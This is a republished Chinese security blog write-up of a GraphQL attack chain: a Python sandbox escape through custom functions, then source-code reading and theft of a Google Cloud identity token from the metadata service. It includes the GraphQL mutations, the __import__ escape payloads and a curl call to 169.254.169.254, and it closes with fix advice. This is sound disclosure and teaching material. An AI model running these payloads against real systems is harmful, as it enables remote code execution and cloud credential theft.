文章总结: 本文详细分析了通过GraphQL接口中未正确配置Python沙箱环境导致的完整攻击链:攻击者利用自定义函数功能注入恶意代码实现RCE,进而读取后端源码,通过云元数据服务获取JWT令牌,最终完成云身份接管。核心漏洞在于沙箱未禁用builtins,文章最后提出了禁用内置函数、屏蔽元数据IP和使用隔离环境等修复建议。 综合评分: 85 文章分类: 渗透测试,漏洞分析,云安全,WEB安全,安全建设
GraphQL RCE:通往云身份的攻击链
haidragon haidragon
安全狗的自我修养
2026年4月15日 12:25 湖南
在小说阅读器读本章
去阅读
#
官网:http://securitytech.cc
从一个简单查询到生产环境“上帝权限”…!
想象一下:
你登录进一个现代 SaaS 平台……界面很丝滑、速度很快,而且有一个杀手级功能—— 👉 自定义 Python 函数(Custom Python Functions)
对普通用户来说,这是生产力工具…… 但对漏洞猎人来说—— 👉 这是一扇入口…!
在我之前的文章中,我教你如何“找到门”。 而今天我要讲的是:
👉 我是如何撬开锁、走进房子,最终拿走整个云基础设施的钥匙…!
这是一个从“Viewer(只读)账号”到 👉 完全接管云身份(Full Cloud Identity Compromise) 的过程。
🎣 沙箱的幻觉
现代应用喜欢“用户自定义逻辑”:
- 表格公式
- 自定义脚本
它们都有一个共同点:
👉 运行在一个 Sandbox(沙箱)
开发者以为:
👉 把用户限制在安全环境中
但攻击者会想:
👉 找到围栏里的漏洞
思维: 沙箱的安全性取决于最薄弱的一点。 如果服务器执行代码,那么问题不是“能不能逃”,而是“怎么逃”。
🗺️ 阶段 1:信息收集
任何攻击都从“地图”开始。
在 GraphQL 中,这个地图就是:
- Introspection
- 资源 ID
我需要:
workspaceIdappId
于是我执行:
query EnumerateResources {
getMyUser {
workspaces {
id
folders {
apps {
id
}
}
}
}
}
👉 拿到 ID 后,我已经不是访客,而是参与者。
🪵 阶段 2:漏洞利用
系统提供:
createUserDefinedFunction
👉 可以执行 Python
💥 注入 payload
mutation InjectPythonV3 {
createUserDefinedFunction(input: {
function: {
pythonScript: "str(__import__('os').environ)"
}
})
}
👉 利用 __import__ 逃逸沙箱
🚀 触发执行
mutation TriggerRCE_V3 {
evalFormula(input: {
formula: "=hack_rce_v3()"
}) {
displayValue
}
}
✅ 结果
返回:
GAE_RUNTIME: python313- 内部代理
- 工作目录
👉 RCE 成功(已经进入容器)
🔍 阶段 3:读取源码
RCE 只是开始,源码才是关键。
我用:
__import__('subprocess').check_output(['cat','/workspace/main.py'])
读取后端代码
触发执行:
🚨 发现漏洞核心
global_ns= { "xl": xl, "xl_rows": xl_rows }
exec(compile(tree, "", "exec"), global_ns, global_ns)
👉 问题:
没有设置:
__builtins__= {}
👉 导致:
-
__import__可用
-
沙箱完全失效
☁️ 阶段 4:云身份接管(Kill Shot)
目标:
👉 Google Cloud Metadata
169.254.169.254
💥 获取 JWT
curl-H"Metadata-Flavor: Google" \
http://169.254.169.254/.../identity
触发:
🎯 最终结果
拿到:
👉 OIDC JWT Token
解析后:
[email protected]
👉 已获得生产环境身份
👉 直接接管云服务
🧠 核心总结
现实中的攻击不是电影那样炫技:
👉 而是:
- 好奇心
- 多走一步
- 一步步扩大权限
💥 最终影响
- ✅ 任意命令执行(RCE)
- ✅ 后端源码泄露
- ✅ SSRF 攻击内部服务
- ✅ 云服务账号接管
🛡️ 修复建议
1️⃣ 沙箱必须禁用 builtins:
{'__builtins__': {}}
2️⃣ 屏蔽元数据 IP:
169.254.169.254
3️⃣ 使用隔离环境:
- Firecracker
- gVisor
✅ 一句话总结
👉 一个漏掉的 __builtins__,直接导致从用户权限 → 云身份接管
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《GraphQL RCE:通往云身份的攻击链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论